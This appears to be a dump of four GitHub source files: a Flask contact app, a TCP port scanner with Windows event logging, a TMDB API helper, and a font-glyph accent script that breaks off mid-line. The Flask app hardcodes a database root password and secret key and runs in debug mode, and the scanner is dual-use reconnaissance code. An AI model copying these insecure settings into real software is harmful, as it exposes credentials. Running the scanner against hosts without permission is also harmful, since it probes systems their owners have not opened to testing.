{"seq_id": "43931702013", "text": "from flask import Flask, render_template, request, flash\nfrom flask_session import Session\nfrom flask_mysqldb import MySQL\n\napp = Flask(__name__)\nsess = Session()\napp.config['MYSQL_HOST'] = 'localhost'\napp.config['MYSQL_USER'] = 'root'\napp.config['MYSQL_PASSWORD'] = 'Control123!'\napp.config['MYSQL_DB'] = 'agenda'\nmysql = MySQL(app)\n\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n\n@app.route('/add-user', methods=['GET', 'POST'])\ndef add_user():\n    if request.method == 'POST':\n        first_name = request.form['first_name']\n        last_name = request.form['last_name']\n        password = request.form['password']\n        phone = request.form['phone']\n        email = request.form['email']\n\n        cursor = mysql.connection.cursor()\n        cursor.execute('INSERT INTO usuario (usr_first_name, usr_last_name, usr_phone_nbr, usr_email) '\n                       'VALUES (%s, %s, %s, %s);', (first_name, last_name, phone, email))\n        mysql.connection.commit()\n        flash(\"contacto agregado satisfactoriamente!!!\")\n\n    return render_template('add-user.html')\n\n\n@app.route('/edit-users')\ndef edit_users():\n    return render_template('edit-users.html')\n\n\n@app.route('/delete-user')\ndef delete_user():\n    return render_template('delete-user.html')\n\n\nif __name__ == '__main__':\n    app.secret_key = 'super secret key'\n    app.config['SESSION_TYPE'] = 'filesystem'\n    app.config['SESSION_USE_SIGNER'] = False\n    app.config['SESSION_PERMANENT'] = True\n\n    sess.init_app(app)\n\n    app.run(debug=True)\n\n", "repo_name": "mauricioZelaya/bug-validation-site", "sub_path": "src/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 1533, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_session.Session", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_mysqldb.MySQL", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "34220315250", "text": "import pyfiglet\nimport socket\nimport os\nimport win32evtlogutil\nimport win32con\nimport time\n\n# 1. Def and set MAIN() Function to execute all logic\n# 1.1 Assign variable to take input prompt for ipaddress and subnet\n# 1.2 Feed var in Validate_input's param for validation check\n# 1.3 Assign var to list of ports obtained from Read_ports function\n# 1.4 Ask user for range to assign IP addresses to host devices.\n# 1.5 Receive a list of all valid IPv4 addresses\n# 1.6 FOR each ipaddress print + log file and log event log viewer\n\n\ndef main():\n    display_banner()\n    status = True\n    while status:\n        ip_network = input(\"Enter subnet prefix (e.g: 192.168.0): \")\n        if validate_input(ip_network):\n            print(\"Your IP provided is valid!\")\n            status = False\n\n            ports = read_ports_file()\n            print(\"The file contains the following ports:\", ports)\n\n            print(\"please only provide numbers in range 1-254\")\n            new_ipaddress_list = generate_ip_address(ip_network)\n            print(new_ipaddress_list)\n\n            for ip_address in new_ipaddress_list:\n                open_status, close_status, unavail_status = (\n                    port_scan(ip_address, ports)\n                )\n                print(f\"{ip_address} port status-\"\n                      f\"open:{open_status}, \"\n                      f\"closed{close_status}, \"\n                      f\"unavailable:{unavail_status}\")\n                # log messages + events on console, event viewer\n                logging_port_status(\n                    ip_address,\n                    open_status,\n                    close_status,\n                    unavail_status\n                )\n            log_to_event_viewer(new_ipaddress_list)\n\n        else:\n            print(\"Invalid IP provided, \"\n                  \"please provide correct address details\")\n\n\n# 2.Validate_input Function check each octet is in range 0-255\n# 2.1 Check if there's 3 dots for both IP network and mask\n# (possibility of '/24' is given or a complete IPv4 provided)\n# 2.2 Check for valid range per octet 0-255\n# return true (if all cond is met)\n\n\ndef validate_input(input_network):\n    try:\n        network_parts = list(map(int, input_network.split('.')))\n        if len(network_parts) != 3:\n            print(\"Please provide only the first\"\n                  \" 3 octets of the network address\")\n            return False\n    except ValueError:\n        print(\"Invalid network address provided,\"\n              \" please provide valid values \"\n              \"e.g. 192.168.1\\n\"\n              \"----------------------------\")\n        return False\n\n    for part in network_parts:\n        part_in_int = int(part)\n        if not 0 <= part_in_int <= 255:\n            print(\"octet is out of range(0-255)\")\n            return False\n\n    return True\n\n\n# 3.Validate_file Function can assume correct port numbers are provided in file\n# return true (if all cond is met)\n\ndef read_ports_file():\n    port_list = []\n    ports_file = \"ports.txt\"\n    if os.path.getsize(ports_file) == 0:\n        print(\"File is empty, please fill in valid ports.\")\n        exit()\n    with open(ports_file, \"r\") as file:\n        for line in file:\n            try:\n                port = int(line.strip())\n                if port in port_list:\n                    print(f\"{port} exist, skipping...\")\n                else:\n                    port_list.append(port)\n            except Exception as e:\n                print(f\"An error has occurred while reading file: {str(e)}\")\n                print(\"Please check your port.txt file and fix the issue\")\n    return port_list\n\n\n# 4.Ip generation assign host no. to complete the IP address within user range\n# Rules: Skip first 10 and skip even number\n\n\ndef generate_ip_address(ip_network):\n    ipaddress_list = [\"192.168.1.1\", \"127.0.0.1\"]\n    # for num in range(1, 254):\n    #     if num > 10 and num % 2 != 0:\n    #         new_ipaddress = ip_network + '.' + str(num)\n    #         print(new_ipaddress)\n    #         ipaddress_list.append(new_ipaddress)\n\n    return ipaddress_list\n\n# 6. Port_scan Function per IP with list of ports return port status\n\n\ndef port_scan(ip_address, ports):\n    open_ports = []\n    close_ports = []\n    unavailable_ports = []\n\n    for port in ports:\n        # Attempt to connect to the port\n        try:\n            # INET = IPv4 internet connection \\\\ SOCK_STREAM = TCP socket\n            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            client_socket.settimeout(5)\n            # result = client_socket.connect_ex((ip_address, port))\n            client_socket.connect((ip_address, port))\n            open_ports.append(port)\n            print(f\"[{port}] is open\")\n            client_socket.close()\n\n        except socket.timeout as e:\n            print(f\"[{port} isn't available], reason: {str(e)}\")\n            unavailable_ports.append(port)\n\n        except ConnectionRefusedError as e:\n            close_ports.append(port)\n            print(f\"[{port}] is closed, reason: {str(e)}\")\n\n    return open_ports, close_ports, unavailable_ports\n\n\n# 7. Logging ipaddress and all associated port status with that IPv4\ndef logging_port_status(ip_address, open_status, close_status, unavail_status):\n    script_dir = os.path.dirname(os.path.abspath(\"CheckIPPort.py\"))\n    log_file = os.path.join(script_dir, f\"{ip_address}_port_log.txt\")\n\n    with open(log_file, \"w\") as file:\n        file.write(f\"Port Status for {ip_address}\\n\")\n\n        file.write(\"Open ports:\\n\")\n        for port in open_status:\n            file.write(f\"{port}\\n\")\n\n        file.write(\"Closed ports:\\n\")\n        for port in close_status:\n            file.write(f\"{port}\\n\")\n\n        file.write(\"Unavailable ports:\\n\")\n        for port in unavail_status:\n            file.write(f\"{port}\\n\")\n\n\n# 8. logging the ipaddress to Win Event Log\n\ndef log_to_event_viewer(ip_address_list, event_level=\"Information\"):\n    ip_evt_name = \" CheckIPPort - IP-Port Scan Application\"\n    ip_evt_id = int(time.time())\n    ip_evt_category = 9876\n    ip_evt_strs = ip_address_list\n    ip_evt_data = b\"Scanned IP Address Event Data\"\n\n    # event_source = \"IP_Port_Scanner\"\n    # event_id = int(time.time())\n    # event_msg = f\"scanned IPv4: {ip_address}\"\n    event_type_map = {\n        \"Information\": win32con.EVENTLOG_INFORMATION_TYPE,\n        \"Warning\": win32con.EVENTLOG_WARNING_TYPE,\n        \"Error\": win32con.EVENTLOG_ERROR_TYPE,\n    }\n    log_event_type = event_type_map.get(event_level, win32con.EVENTLOG_INFORMATION_TYPE)\n\n    win32evtlogutil.ReportEvent(ip_evt_name,\n                                ip_evt_id,\n                                eventCategory=ip_evt_category,\n                                eventType=log_event_type,\n                                strings=ip_evt_strs,\n                                data=ip_evt_data)\n\n    print(f\"{ip_address_list} has been scanned and logged to event viewer!\")\n\n\n# Extra feature: Application banner title upon application startup\n\n\ndef display_banner():\n    banner = pyfiglet.figlet_format(\"GELO'S PORT SCANNER\")\n    print(banner)\n\n\nmain()\n", "repo_name": "mrteeson94/CheckIPScript", "sub_path": "CheckIPPort.py", "file_name": "CheckIPPort.py", "file_ext": "py", "file_size_in_byte": 7082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.getsize", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 134, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 134, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 134, "usage_type": "attribute"}, {"api_name": "socket.timeout", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 178, "usage_type": "call"}, {"api_name": "win32con.EVENTLOG_INFORMATION_TYPE", "line_number": 187, "usage_type": "attribute"}, {"api_name": "win32con.EVENTLOG_WARNING_TYPE", "line_number": 188, "usage_type": "attribute"}, {"api_name": "win32con.EVENTLOG_ERROR_TYPE", "line_number": 189, "usage_type": "attribute"}, {"api_name": "win32con.EVENTLOG_INFORMATION_TYPE", "line_number": 191, "usage_type": "attribute"}, {"api_name": "win32evtlogutil.ReportEvent", "line_number": 193, "usage_type": "call"}, {"api_name": "pyfiglet.figlet_format", "line_number": 207, "usage_type": "call"}]}
{"seq_id": "10278648001", "text": "from tmdb.settings import TMDB_KEY, TMDB_URL\n\nimport json\nimport requests\n\n\ndef tmdb_request(method, path, params = None):\n\n    url = \"{base_uri}{path}\".format(base_uri = TMDB_URL, path = path)\n        \n    api_dict = {'api_key': TMDB_KEY}\n    if params:\n        params = params.copy()\n        params.update(api_dict)\n    else:\n        params = api_dict\n\n    headers = {'Content-Type': 'application/json',\n               'Accept': 'application/json',\n               'Connection': 'close'}\n\n    response = requests.request(\n        method, url, params = params, \n        data = None,\n        headers = headers)\n\n    response.raise_for_status()\n    response.encoding = 'utf-8'\n    return response.json()", "repo_name": "hakubaa/w2w", "sub_path": "tmdb/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tmdb.settings.TMDB_URL", "line_number": 9, "usage_type": "name"}, {"api_name": "tmdb.settings.TMDB_KEY", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "293873722", "text": "import os\nimport random\nimport sys\nfrom sys import argv\nimport re\nimport plistlib\nimport glob\nfrom lxml import html\nfrom lxml import etree\nfrom os.path import basename\nimport difflib\n#\n# tab completion \n#\nimport readline \nimport rlcompleter \nimport atexit\n#\nreadline.parse_and_bind('tab: complete') \n# history file \nhistfile = os.path.join(os.environ['HOME'], '.pythonhistory') \ntry: \n\treadline.read_history_file(histfile) \nexcept IOError: \n\tpass \natexit.register(readline.write_history_file, histfile) \ndel histfile, readline, rlcompleter\n#\n#\n#\n#\n#\nbase_top_accent_tall_pos_y = 735\nbase_top_accent_tall_tonos_pos_y = 700\nbase_top_accent_short_pos_y = 545\ncomb_top_accent_pos_y = 600\ncomb_bottom_accent_pos_y = 0\ntall_small_case = ['l','t']\n#l_dots_list = ['Ldot','ldot']\n#\ncomp_anchors_top = '''<contour>\n      <point x=\"{1}\" y=\"750\" type=\"move\" name=\"top\"/>\n    </contour>\n    <contour>\n      <point x=\"{1}\" y=\"{0}\" type=\"move\" name=\"_top\"/>\n    </contour>'''\n#\n##\ncomp_anchors_top_tonos = '''<contour>\n      <point x=\"{1}\" y=\"750\" type=\"move\" name=\"tonos\"/>\n    </contour>\n    <contour>\n      <point x=\"{1}\" y=\"{0}\" type=\"move\" name=\"_tonos\"/>\n    </contour>'''\n#\n# ##\n# comp_anchors_center = '''<contour>\n#       <point x=\"{1}\" y=\"750\" type=\"move\" name=\"center\"/>\n#     </contour>\n#     <contour>\n#       <point x=\"{1}\" y=\"{0}\" type=\"move\" name=\"_center\"/>\n#     </contour>'''\n# #\n#\ncomp_anchors_bot = '''<contour>\n      <point x=\"{1}\" y=\"-250\" type=\"move\" name=\"bottom\"/>\n    </contour>\n    <contour>\n      <point x=\"{1}\" y=\"{0}\" type=\"move\" name=\"_bottom\"/>\n    </contour>'''\n#\nbase_anchors = '''<contour>\n      <point x=\"{2}\" y=\"0\" type=\"move\" name=\"ogonek\"/>\n    </contour>\n    <contour>\n      <point x=\"{0}\" y=\"0\" type=\"move\" name=\"bottom\"/>\n    </contour>\n    <contour>\n      <point x=\"{0}\" y=\"{1}\" type=\"move\" name=\"top\"/>\n    </contour>\n    <contour>\n      <point x=\"{3}\" y=\"{4}\" type=\"move\" name=\"tonos\"/>\n    </contour>\n    <contour>\n      <point x=\"{0}\" y=\"300\" type=\"move\" name=\"center\"/>\n    </contour>'''\n#\ncomb_top = ['acutecomb',\n\t\t\t'tonoscomb',\n\t\t\t'dieresistonoscomb',\n\t\t\t'brevecomb',\n\t\t\t'caroncomb',\n\t\t\t'circumflexcomb',\n\t\t\t'commaturnedabovecomb',\n\t\t\t'dieresiscomb',\n\t\t\t'dotaccentcomb',\n\t\t\t'gravecomb',\n\t\t\t'hungarumlautcomb',\n\t\t\t'macroncomb',\n\t\t\t'croat',\n\t\t\t'ringcomb',\n\t\t\t'tildecomb'];\n\ncomb_top_rebase = ['acute',\n\t\t\t'tonos',\n\t\t\t'dieresistonos',\n\t\t\t'breve',\n\t\t\t'caron',\n\t\t\t'circumflex',\n\t\t\t'quoteleft',\n\t\t\t'dieresis',\n\t\t\t'dotaccent',\n\t\t\t'grave',\n\t\t\t'hungarumlaut',\n\t\t\t'overscore',\n\t\t\t'overscore',\n\t\t\t'ring',\n\t\t\t'tilde'];\n\ncomb_bot = ['cedillacomb',\n\t\t\t'ogonekcomb',\n\t\t\t'commaturnedbelowcomb'\n\t\t\t# 'slashlongcomb',\n\t\t\t# 'slashshortcomb',\n\t\t\t# 'strokelongcomb',\n\t\t\t# 'strokeshortcomb'\n\t\t\t];\ncomb_bot_rebase = ['cedilla',\n\t\t\t'ogonek',\n\t\t\t'commaaccent'\n\t\t\t# 'slashlongcomb',\n\t\t\t# 'slashshortcomb',\n\t\t\t# 'strokelongcomb',\n\t\t\t# 'strokeshortcomb'\n\t\t\t];\n#\ndef get_between(_start, _end, _str):\n\t#\n\treturn _str[_str.find(_start)+len(_start):_str.find(_end)]\n\t#\n#\ndef get_base_glif_width(_dir_glif, glif, exact_loc = False):\n\t#\n\tres_width = 0\n\tres_name = ''\n\t#\n\tif exact_loc == True:\n\t\t#\n\t\twith open(_dir_glif, 'r') as f:\n\t\t\t#\n\t\t\tglif_data = f.read()\n\t\t\t#\n\t\t\tout_start = 'name=\"'\n\t\t\tout_end = '\" format'\n\t\t\t#\n\t\t\tres_name=get_between(out_start, out_end, glif_data)\n\t\t\t#\n\t\t\ttry:\n\t\t\t\t#\n\t\t\t\tout_start = '<advance width=\"'\n\t\t\t\tout_end = '\"/>'\n\t\t\t\t#\n\t\t\t\tres_width=int(get_between(out_start, out_end, glif_data))\n\t\t\t\t#\n\t\t\texcept Exception:\n\t\t\t\t#\n\t\t\t\tres_width = 0\n\t\t\t\t#\n\t\t\t\tpass\n\t\t\t\t\t#\n\t\t#\n\telse:\n\t\t#\n\t\tfor file in glob.glob(_dir_glif+\"/*.glif\"):\n\t\t\t#\n\t\t\twith open(file, 'r') as the_file:\n\t\t\t\t#\n\t\t\t\tglif_data = the_file.read()\n\t\t\t\t#\n\t\t\t\tout_start = 'name=\"'\n\t\t\t\tout_end = '\" format'\n\t\t\t\t#\n\t\t\t\tres_name=get_between(out_start, out_end, glif_data)\n\t\t\t\t#\n\t\t\t\tif glif == res_name:\n\t\t\t\t\t#\n\t\t\t\t\ttry:\n\t\t\t\t\t\t#\n\t\t\t\t\t\tout_start = '<advance width=\"'\n\t\t\t\t\t\tout_end = '\"/>'\n\t\t\t\t\t\t#\n\t\t\t\t\t\tres_width=int(get_between(out_start, out_end, glif_data))\n\t\t\t\t\t\t#\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\t#\n\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t#\n\t\t\t\t\t\tres_width = 0\n\t\t\t\t\t\t#\n\t\t\t\t\t\tpass\n\t\t\t\t\t\t#\n\n\t\t\t#\n\treturn res_name,res_width\n#\ndef get_base_glif_contours(_dir_glif, needed_glifs):\n\t#\n\tbase_contours = {}\n\t#\n\tseen_glifs = []\n\t#\n\tres_width = 0\n\t#\n\tfor file in glob.glob(_dir_glif+\"/*.glif\"):\n\t\t#\n\t\twith open(file, 'r') as the_file:\n\t\t\t#\n\t\t\tglif_data = the_file.read()\n\t\t\t#\n\t\t\tname = re.search('<glyph name=\"(.*)\" format', glif_data).group(1)\n\t\t\t#\n\t\t\tif name not in seen_glifs:\n\t\t\t\t#\n\t\t\t\tif name in needed_glifs:\n\t\t\t\t\t#\n\t\t\t\t\t#\n\t\t\t\t\ttry:\n\t\t\t\t\t\t#\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\tout_start = '<advance width=\"'\n\t\t\t\t\t\t\tout_end = '\"/>'\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\tres_width=int(get_between(out_start, out_end, glif_data))\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\tres_width = 0\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t#\n\t\t\t\t\t\tout_start = \"<outline>\"\n\t\t\t\t\t\tout_end = \"</outline>\"\n\t\t\t\t\t\t#\n\t\t\t\t\t\tresult=get_between(out_start, out_end, glif_data)\n\t\t\t\t\t\t#\n\t\t\t\t\t\tbase_contours[name] = [basename(file),result,res_width]\n\t\t\t\t\t\t#\n\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t#\n\t\t\t\t\t\tprint('FAILED FOR GLIF: ', name)\n\t\t\t\t\t\t#\n\t\t\t\t\t#\n\t\t\t\t\tseen_glifs.append(name)\n\t\t\t\t\t#\n\t\t\t\t#\n\treturn base_contours, res_width\n#\nnon_exist = []\n#\ndef rebase_accent(acc_orig, acc_dest, glif_loc, _acc_pos, g_info):\n\t#\n\t#\n\tprint(acc_orig, acc_dest, glif_loc)\n\t#\n\tacc_orig_glif = os.path.join(glif_loc, acc_orig+'.glif')\n\tacc_dest_glif = os.path.join(glif_loc, acc_dest+'.glif')\n\t#\n\texist_orig = os.path.isfile(acc_orig_glif)\n\texist_orig_comp = False\n\texist_dest = os.path.isfile(acc_dest_glif)\n\texist_dest_comp = False\n\t#\n\tif exist_orig:\n\t\t#\n\t\twith open(acc_orig_glif, 'r') as o_f:\n\t\t\t#\n\t\t\to_f_r = o_f.read()\n\t\t\t#\n\t\t\tcomp_o = '<component base=\"'+acc_dest+'\"/>'\n\t\t\t#\n\t\t\tif comp_o in o_f_r:\n\t\t\t\t#\n\t\t\t\tprint(acc_orig,'INCLUDES: ',acc_dest)\n\t\t\t\t#\n\t\t\t\texist_orig_comp = True\n\t\t\t\t#\n\t\t\t#\n\t\t#\n\t#\n\telse:\n\t\t#\n\t\tprint('NON EXIST: ', acc_orig)\n\t\t#\n\t\tif acc_orig not in non_exist:\n\t\t\t#\n\t\t\tnon_exist.append(acc_orig)\n\t\t\t#\n\t\t#\n\t#\n\tif exist_dest:\n\t\t#\n\t\twith open(acc_dest_glif, 'r') as d_f:\n\t\t\t#\n\t\t\td_f_r = d_f.read()\n\t\t\t#\n\t\t\tcomp_d = '<component base=\"'+acc_orig+'\"/>'\n\t\t\t#\n\t\t\tif comp_d in d_f_r:\n\t\t\t\t#\n\t\t\t\tprint(acc_dest,'INCLUDES: ',acc_orig)\n\t\t\t\t#\n\t\t\t\texist_dest_comp = True\n\t\t\t\t#\n\t\t\t#\n\t\t#\n\t#\n\telse:\n\t\t#\n\t\tprint('NON EXIST: ', acc_dest)\n\t\t#\n\t#\n\tif exist_orig and exist_dest:\n\t\t#\n\t\tif exist_dest_comp:\n\t\t\t#\n\t\t\tprint('>>>>>', 'OK')\n\t\t\t#\n\t\telse:\n\t\t\t#\n\t\t\tprint('>>>>>', 'NOK')\n\t\t\tprint('>>>>>', 'combs should not include components, original accents should include combs')\n\t\t\t#\n\t\t\tprint(acc_dest_glif)\n\t\t\tprint(acc_orig_glif)\n\t\t\t#\n\t\t\texchange_replace_contour(acc_orig, acc_dest, acc_dest_glif, acc_orig_glif, acc_orig, _acc_pos, g_info)\n\t\t\t#\n\t\t#\n#\ndef exchange_replace_contour(acc_orig, acc_dest, acc_dest_glif, acc_orig_glif, comb_accent_name, _acc_pos, g_info):\n\t#\n\taccent_comp = '\\n    <component base=\"{0}\"/>\\n  '.format(comb_accent_name)\n\tpos_anchors = ''\n\teventual_pos_y = comb_top_accent_pos_y\n\t#\n\tis_accent_info = get_base_glif_width(acc_dest_glif, comb_accent_name, True)\n\t#\n\tif _acc_pos == 'top':\n\t\t#\n\t\teventual_pos_x = 0\n\t\t#\n\t\tif 'tonos' in is_accent_info[0]:\n\t\t\t#\n\t\t\tpos_anchors = comp_anchors_top_tonos.format(int(eventual_pos_y), int(is_accent_info[1]/2))\n\t\t\t#\n\t\t# if is_accent_info[0] in l_dots_list:\n\t\t# \t#\n\t\t# \tpos_anchors = comp_anchors_top_tonos.format(int(300), int(is_accent_info[1]/2))\n\t\t# \t#\n\t\telse:\n\t\t\t#\n\t\t\tpos_anchors = comp_anchors_top.format(int(eventual_pos_y), int(is_accent_info[1]/2))\n\t\t\t#\n\t\t#\n\telse: \n\t\t#\n\t\teventual_pos_y = 0\n\t\t#\n\t\tpos_anchors = comp_anchors_bot.format(int(eventual_pos_y), int(is_accent_info[1]/2))\n\t\t#\n\t#\n\treplaced_a = replace_contour(accent_comp, acc_dest_glif, True) +'  '+ pos_anchors + '\\n'\n\t#\n\treplace_contour(replaced_a, acc_orig_glif, False)\n\t#\n\tprint('EXCANGED CONTENTS OF:', acc_orig, acc_dest)\n\t#\ndef replace_contour(_this, _here, _return_replaced):\n\t#\n\tout_start = \"<outline>\"\n\tout_end = \"</outline>\"\n\t#\n\treplacement = ''\n\t#\n\twith open(_here, 'r') as rf:\n\t\t#\n\t\tglif_data = rf.read()\n\t\t#\n\t\tresult=get_between(out_start, out_end, glif_data)\n\t\t#\n\t\treplacement = result\n\t\t#\n\t\twith open(_here, 'w') as wf:\n\t\t\t#\n\t\t\tnew_data = glif_data.replace(result, _this)\n\t\t\t#\n\t\t\twf.write(new_data)\n\t\t\t#\n\t\t\twf.close()\n\t\t\t#\n\t#\n\tif _return_replaced:\n\t\t#\n\t\treturn result\n\t\t#\n\t#\n#\ndef get_matching_contour(base_cont, rep_cont):\n\t#\n\tparser = etree.XMLParser(remove_blank_text=True)\n\t#\n\tbase_cont_list = [ e for e in html.fromstring(base_cont).iter() if e.tag == 'contour']\n\trep_cont_list = [ e for e in html.fromstring(rep_cont).iter() if e.tag == 'contour']\n\t#\n\tfinal_match = []\n\tseen_ = []\n\t#\n\tkeep_index = []\n\t#\n\tfor x in base_cont_list:\n\t\t#\n\t\t_e_base = etree.tostring(x, encoding='unicode', pretty_print=True)\n\t\t_e_base_test = ''.join([i for i in _e_base if not i.isdigit()])\n\t\t#\n\t\tfor y in rep_cont_list:\n\t\t\t#\n\t\t\t_e_rep = etree.tostring(y, encoding='unicode', pretty_print=True)\n\t\t\t_e_rep_test =  ''.join([i for i in _e_rep if not i.isdigit()])\n\t\t\t#\n\t\t\tinner_diff_ratio = difflib.SequenceMatcher(a=_e_base_test,b=_e_rep_test).ratio()\t\t\n\t\t\t#\n\t\t\tif _e_rep in seen_ :\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tif inner_diff_ratio > 0.7:\n\t\t\t\t\t#\n\t\t\t\t\tkeep_index.append(1)\n\t\t\t\t\t#\n\t\t\t\t\tfinal_match.append(_e_rep)\n\t\t\t\t\t#\n\t\t\t\telse:\n\t\t\t\t\t#\n\t\t\t\t\tkeep_index.append(0)\n\t\t\t\t\t#\n\t\t\t\t\tfinal_match.append(_e_rep)\n\t\t\t\t\t#\n\t\t\t\t#\n\t\t\tseen_.append(_e_rep)\n\t\t\t#\n\tfinal_string = ''\n\t#\n\tc = 0\n\t#\n\tfor x in keep_index:\n\t\t#\n\t\tif x == 0:\n\t\t\t#\n\t\t\ttry:\n\n\t\t\t\tfinal_string = final_string + final_match[ c ]\n\n\t\t\texcept Exception:\n\t\t\t\tpass\n\t\t\t#\n\t\t#\n\t\tc = c + 1\n\t\t#\n\t#\n\treturn final_string\n\t#\n#\ndef check_accents (name, combs, rebase_combs, _dir_glif, glif_width, _pos, g_info):\n\t#\n\tx = 0\n\taccent_name = ''\n\taccent_comp = ''\n\t#\n\tif 'uni' in name:\n\t\t#\n\t\tif name == 'uni021B' or name == 'uni021A':\n\t\t\t#\n\t\t\tif name == 'uni021B':\n\t\t\t\t#\n\t\t\t\tu_name = 'tcommaaccent'\n\t\t\t\taccent_name = 'commaturnedbelowcomb'\n\t\t\t\t#\n\t\t\t#\n\t\t\tif name == 'uni021A':\n\t\t\t\t#\n\t\t\t\tu_name = 'Tcommaaccent'\n\t\t\t\taccent_name = 'commaturnedbelowcomb'\n\t\t\t\t#\n\t\t\t#\n\t\t#\n\t\tif _pos == 'top':\n\t\t\t#\n\t\t\t_x = str(int(glif_width/2))\n\t\t\t_y = str(135)\n\t\t\t#\n\t\telse:\n\t\t\t#\n\t\t\t_x = str(glif_width-10)\n\t\t\t_y = str(-50)\n\t\t\t#\n\t\t#\n\t\trebase_accent(accent_name, 'commaaccent', _dir_glif, _pos, g_info)\n\t\t#\n\t\taccent_comp = '<component base=\"{0}\" xOffset=\"{1}\" yOffset=\"{2}\"/>'.format(accent_name, _x, _y)\n\t\t#\n\telif 'commaaccent' in name:\n\t\t#\n\t\t#\n\t\tif name == 'gcommaaccent':\n\t\t\t#\n\t\t\trebased = 'commaturnedabove'\n\t\t\taccent_name = 'commaturnedabovecomb'\n\t\t\t#\n\t\t\t#\n\t\telse:\n\n\t\t\trebased = 'commaaccent'\n\t\t\taccent_name = 'commaturnedbelowcomb'\n\t\t#\n\t\tif _pos == 'top':\n\t\t\t#\n\t\t\t_x = str(int(glif_width/2))\n\t\t\t_y = str(135)\n\t\t\t#\n\t\telse:\n\t\t\t#\n\t\t\t_x = str(glif_width-10)\n\t\t\t_y = str(-50)\n\t\t\t#\n\t\t#\n\t\trebase_accent(accent_name, rebased, _dir_glif, _pos, g_info)\n\t\t#\n\t\taccent_comp = '<component base=\"{0}\" xOffset=\"{1}\" yOffset=\"{2}\"/>'.format(accent_name, _x, _y)\n\t\t#\n\t\t#\n\telse:\n\t\t#\n\t\tfor c_t in combs:\n\t\t\t#\n\t\t\tif 'comb' in c_t:\n\t\t\t\t#\n\t\t\t\taccent = c_t.replace('comb', '')\n\t\t\t\t#\n\t\t\t#\n\t\t\telse:\n\t\t\t\t#\n\t\t\t\taccent = c_t\n\t\t\t\t#\n\t\t\t#\n\t\t\tif accent in name: \n\t\t\t\t#\n\t\t\t\trebased = rebase_combs[x]\n\t\t\t\t#\n\t\t\t\taccent_name = c_t\n\t\t\t\t#\n\t\t\t\tif 'croat' in c_t:\n\t\t\t\t\t#\n\t\t\t\t\trebased = 'macroncomb'\n\t\t\t\t\taccent_name = 'macroncomb'\n\t\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tprint('CAN BE ACCENTED WITH: ',c_t)\n\t\t\t\t#\n\t\t\t\trebase_accent(c_t, rebased, _dir_glif, _pos, g_info)\n\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tif _pos == 'top':\n\t\t\t\t\t#\n\t\t\t\t\t_x = str(int(glif_width/2))\n\t\t\t\t\t_y = str(135)\n\t\t\t\t\t#\n\t\t\t\telse:\n\t\t\t\t\t#\n\t\t\t\t\t_x = str(glif_width-10)\n\t\t\t\t\t_y = str(-50)\n\t\t\t\t\t#\n\t\t\t\taccent_comp = '<component base=\"{0}\" xOffset=\"{1}\" yOffset=\"{2}\"/>'.format(accent_name, _x, _y)\n\t\t\t#\n\t\t\tx = x + 1\n\t\t#\n\t#\n\treturn accent_comp, accent_name\n\t#\n#\ndef run_ufo_glyphs(comp_dir_path, ufo_dir_path):\n\t#\n\t_dir_glif = os.path.abspath(os.path.join(ufo_dir_path, 'glyphs'))\n\t#\n\tpl = 